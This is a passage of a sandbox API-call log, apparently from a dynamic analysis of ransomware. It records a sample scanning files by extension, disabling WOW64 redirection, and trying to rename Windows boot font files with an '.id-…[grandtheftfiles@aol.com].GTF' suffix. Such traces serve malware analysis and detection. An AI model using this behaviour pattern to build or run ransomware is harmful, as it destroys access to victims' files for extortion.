	[0185.117] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0185.117] lstrlenW (lpString=".pdf") returned 4
	[0185.117] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString=".xls") returned 4
	[0185.117] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0185.117] lstrlenW (lpString=".xlsx") returned 5
	[0185.117] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0185.118] lstrlenW (lpString=".ppt") returned 4
	[0185.118] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0185.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.118] lstrlenW (lpString=".zip") returned 4
	[0185.118] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0185.118] lstrlenW (lpString=".rar") returned 4
	[0185.118] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0185.118] lstrlenW (lpString=".bz2") returned 4
	[0185.118] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0185.118] lstrlenW (lpString=".7z") returned 3
	[0185.118] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0185.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.118] lstrlenW (lpString=".dbf") returned 4
	[0185.118] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0185.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.118] lstrlenW (lpString=".1cd") returned 4
	[0185.118] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0185.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OutlookVL_KMS_Client-ul-oob.xrm-ms") returned 84
	[0185.118] lstrlenW (lpString=".jpg") returned 4
	[0185.118] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0185.118] lstrlenW (lpString=".id-") returned 4
	[0185.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6255a8 | out: hHeap=0x5a0000) returned 1
	[0185.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x622de8 | out: hHeap=0x5a0000) returned 1
	[0185.118] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x66bf80 | out: hHeap=0x5a0000) returned 1
	[0185.119] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x67bf88 | out: hHeap=0x5a0000) returned 1
	[0185.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3895020 | out: hHeap=0x5a0000) returned 1
	[0185.125] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x6254a0 | out: hHeap=0x5a0000) returned 1
	[0185.125] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x41bcb10
	[0185.125] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x41bcb10, Size=0x20) returned 0x41c08b8
	[0185.125] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x41bcb10
	[0185.125] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x41bcb10, Size=0x20) returned 0x41c0520
	[0185.125] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0185.125] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0185.125] Wow64DisableWow64FsRedirection (in: OldValue=0x2d4ff50 | out: OldValue=0x2d4ff50*=0x1) returned 1
	[0185.125] lstrlenW (lpString="kernel32.dll") returned 12
	[0185.125] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41c0520 | out: hHeap=0x5a0000) returned 1
	[0185.125] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0185.125] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41c08b8 | out: hHeap=0x5a0000) returned 1

Thread:
	id = 41
	os_tid = 0xe08

	[0152.740] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x39a0048
	[0152.741] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10000) returned 0x39b0050
	[0152.741] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6254e8
	[0152.741] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x6) returned 0x622c18
	[0152.741] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6255d8
	[0152.741] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x100000) returned 0x3aa0020
	[0152.744] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x625500
	[0152.744] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x625500, Size=0x20) returned 0x5dde80
	[0152.744] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6255f0
	[0152.744] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6255f0, Size=0x20) returned 0x5ddfe8
	[0152.744] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77950000
	[0152.744] GetProcAddress (hModule=0x77950000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77966b30
	[0152.744] Wow64DisableWow64FsRedirection (in: OldValue=0x2e8ff50 | out: OldValue=0x2e8ff50*=0x0) returned 1
	[0152.744] lstrlenW (lpString="kernel32.dll") returned 12
	[0152.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5dde80 | out: hHeap=0x5a0000) returned 1
	[0152.744] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0152.744] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5ddfe8 | out: hHeap=0x5a0000) returned 1
	[0152.745] Sleep (dwMilliseconds=0x64) 
	[0152.856] lstrcmpiW (lpString1=".MARKER", lpString2=".GTF") returned 1
	[0152.856] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0152.857] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0152.864] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=0) returned 1
	[0152.864] CloseHandle (hObject=0x348) returned 1
	[0152.864] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.864] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.864] lstrlenW (lpString=".doc") returned 4
	[0152.864] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0152.864] lstrlenW (lpString=".docx") returned 5
	[0152.864] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0152.864] lstrlenW (lpString=".pdf") returned 4
	[0152.864] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0152.864] lstrlenW (lpString=".xls") returned 4
	[0152.864] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0152.864] lstrlenW (lpString=".xlsx") returned 5
	[0152.864] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0152.864] lstrlenW (lpString=".ppt") returned 4
	[0152.864] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0152.864] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.864] lstrlenW (lpString=".zip") returned 4
	[0152.864] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0152.864] lstrlenW (lpString=".rar") returned 4
	[0152.864] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString=".bz2") returned 4
	[0152.865] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString=".7z") returned 3
	[0152.865] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0152.865] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.865] lstrlenW (lpString=".dbf") returned 4
	[0152.865] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.865] lstrlenW (lpString=".1cd") returned 4
	[0152.865] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.865] lstrlenW (lpString=".jpg") returned 4
	[0152.865] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.865] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.865] lstrlenW (lpString=".doc") returned 4
	[0152.865] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString=".docx") returned 5
	[0152.865] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0152.865] lstrlenW (lpString=".pdf") returned 4
	[0152.865] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString=".xls") returned 4
	[0152.865] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString=".xlsx") returned 5
	[0152.865] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0152.865] lstrlenW (lpString=".ppt") returned 4
	[0152.865] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.865] lstrlenW (lpString=".zip") returned 4
	[0152.865] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString=".rar") returned 4
	[0152.865] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString=".bz2") returned 4
	[0152.865] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0152.865] lstrlenW (lpString=".7z") returned 3
	[0152.865] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0152.866] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.866] lstrlenW (lpString=".dbf") returned 4
	[0152.866] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0152.866] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.866] lstrlenW (lpString=".1cd") returned 4
	[0152.866] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0152.866] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0152.866] lstrlenW (lpString=".jpg") returned 4
	[0152.866] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0152.866] Sleep (dwMilliseconds=0x64) 
	[0153.158] Sleep (dwMilliseconds=0x64) 
	[0153.432] Sleep (dwMilliseconds=0x64) 
	[0153.791] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0153.791] lstrlenW (lpString="jpn_boot.ttf") returned 12
	[0153.791] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.797] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=1985867) returned 1
	[0153.797] CloseHandle (hObject=0x3cc) returned 1
	[0153.797] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20
	[0153.797] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.799] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0153.799] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.799] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.799] lstrlenW (lpString=".doc") returned 4
	[0153.799] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.799] lstrlenW (lpString=".docx") returned 5
	[0153.799] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.799] lstrlenW (lpString=".pdf") returned 4
	[0153.799] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.799] lstrlenW (lpString=".xls") returned 4
	[0153.800] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.800] lstrlenW (lpString=".xlsx") returned 5
	[0153.800] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.800] lstrlenW (lpString=".ppt") returned 4
	[0153.800] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.800] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.800] lstrlenW (lpString=".zip") returned 4
	[0153.800] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.800] lstrlenW (lpString=".rar") returned 4
	[0153.800] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.800] lstrlenW (lpString=".bz2") returned 4
	[0153.800] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.800] lstrlenW (lpString=".7z") returned 3
	[0153.800] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.800] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.800] lstrlenW (lpString=".dbf") returned 4
	[0153.800] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.800] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.800] lstrlenW (lpString=".1cd") returned 4
	[0153.800] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.800] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.800] lstrlenW (lpString=".jpg") returned 4
	[0153.800] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.800] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.800] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.800] lstrlenW (lpString=".doc") returned 4
	[0153.800] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.800] lstrlenW (lpString=".docx") returned 5
	[0153.801] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.801] lstrlenW (lpString=".pdf") returned 4
	[0153.801] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.801] lstrlenW (lpString=".xls") returned 4
	[0153.801] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.801] lstrlenW (lpString=".xlsx") returned 5
	[0153.801] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.801] lstrlenW (lpString=".ppt") returned 4
	[0153.801] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.801] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.801] lstrlenW (lpString=".zip") returned 4
	[0153.801] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.801] lstrlenW (lpString=".rar") returned 4
	[0153.801] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.801] lstrlenW (lpString=".bz2") returned 4
	[0153.801] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.801] lstrlenW (lpString=".7z") returned 3
	[0153.801] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.801] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.801] lstrlenW (lpString=".dbf") returned 4
	[0153.801] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.801] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.801] lstrlenW (lpString=".1cd") returned 4
	[0153.801] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.801] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26
	[0153.801] lstrlenW (lpString=".jpg") returned 4
	[0153.801] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.802] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0153.802] lstrlenW (lpString="msjhn_boot.ttf") returned 14
	[0153.802] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.802] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=162331) returned 1
	[0153.802] CloseHandle (hObject=0x3cc) returned 1
	[0153.803] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf")) returned 0x20
	[0153.803] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.803] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msjhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.803] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.803] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.804] lstrlenW (lpString=".doc") returned 4
	[0153.804] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.804] lstrlenW (lpString=".docx") returned 5
	[0153.804] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.804] lstrlenW (lpString=".pdf") returned 4
	[0153.804] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.804] lstrlenW (lpString=".xls") returned 4
	[0153.804] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.804] lstrlenW (lpString=".xlsx") returned 5
	[0153.804] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.804] lstrlenW (lpString=".ppt") returned 4
	[0153.804] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.804] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.804] lstrlenW (lpString=".zip") returned 4
	[0153.804] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.804] lstrlenW (lpString=".rar") returned 4
	[0153.804] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.804] lstrlenW (lpString=".bz2") returned 4
	[0153.804] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.804] lstrlenW (lpString=".7z") returned 3
	[0153.804] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.804] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.804] lstrlenW (lpString=".dbf") returned 4
	[0153.804] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.804] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.804] lstrlenW (lpString=".1cd") returned 4
	[0153.804] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.804] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.804] lstrlenW (lpString=".jpg") returned 4
	[0153.804] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.804] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.804] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.804] lstrlenW (lpString=".doc") returned 4
	[0153.804] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.804] lstrlenW (lpString=".docx") returned 5
	[0153.804] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.804] lstrlenW (lpString=".pdf") returned 4
	[0153.805] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.805] lstrlenW (lpString=".xls") returned 4
	[0153.805] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.805] lstrlenW (lpString=".xlsx") returned 5
	[0153.805] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.805] lstrlenW (lpString=".ppt") returned 4
	[0153.805] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.805] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.805] lstrlenW (lpString=".zip") returned 4
	[0153.805] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.805] lstrlenW (lpString=".rar") returned 4
	[0153.805] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.805] lstrlenW (lpString=".bz2") returned 4
	[0153.805] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.805] lstrlenW (lpString=".7z") returned 3
	[0153.805] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.805] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.805] lstrlenW (lpString=".dbf") returned 4
	[0153.805] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.805] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.805] lstrlenW (lpString=".1cd") returned 4
	[0153.805] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.805] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0153.805] lstrlenW (lpString=".jpg") returned 4
	[0153.805] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.805] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0153.805] lstrlenW (lpString="msyhn_boot.ttf") returned 14
	[0153.805] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc
	[0153.806] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2e8ff14 | out: lpFileSize=0x2e8ff14*=154427) returned 1
	[0153.806] CloseHandle (hObject=0x3cc) returned 1
	[0153.806] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20
	[0153.807] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0153.807] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0153.807] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.807] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.807] lstrlenW (lpString=".doc") returned 4
	[0153.807] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.807] lstrlenW (lpString=".docx") returned 5
	[0153.807] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.807] lstrlenW (lpString=".pdf") returned 4
	[0153.807] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.807] lstrlenW (lpString=".xls") returned 4
	[0153.807] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.807] lstrlenW (lpString=".xlsx") returned 5
	[0153.807] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.807] lstrlenW (lpString=".ppt") returned 4
	[0153.807] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.807] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.807] lstrlenW (lpString=".zip") returned 4
	[0153.807] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.807] lstrlenW (lpString=".rar") returned 4
	[0153.807] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.807] lstrlenW (lpString=".bz2") returned 4
	[0153.807] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.807] lstrlenW (lpString=".7z") returned 3
	[0153.807] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0153.807] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.807] lstrlenW (lpString=".dbf") returned 4
	[0153.807] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0153.807] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.807] lstrlenW (lpString=".1cd") returned 4
	[0153.807] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0153.807] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.807] lstrlenW (lpString=".jpg") returned 4
	[0153.807] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0153.808] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.808] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.808] lstrlenW (lpString=".doc") returned 4
	[0153.808] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0153.808] lstrlenW (lpString=".docx") returned 5
	[0153.808] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0153.808] lstrlenW (lpString=".pdf") returned 4
	[0153.808] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0153.808] lstrlenW (lpString=".xls") returned 4
	[0153.808] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0153.808] lstrlenW (lpString=".xlsx") returned 5
	[0153.808] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0153.808] lstrlenW (lpString=".ppt") returned 4
	[0153.808] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0153.808] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0153.808] lstrlenW (lpString=".zip") returned 4
	[0153.808] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0153.808] lstrlenW (lpString=".rar") returned 4
	[0153.808] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0153.808] lstrlenW (lpString=".bz2") returned 4
	[0153.808] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0153.808] lstrlenW (lpString=".7z") returned 3
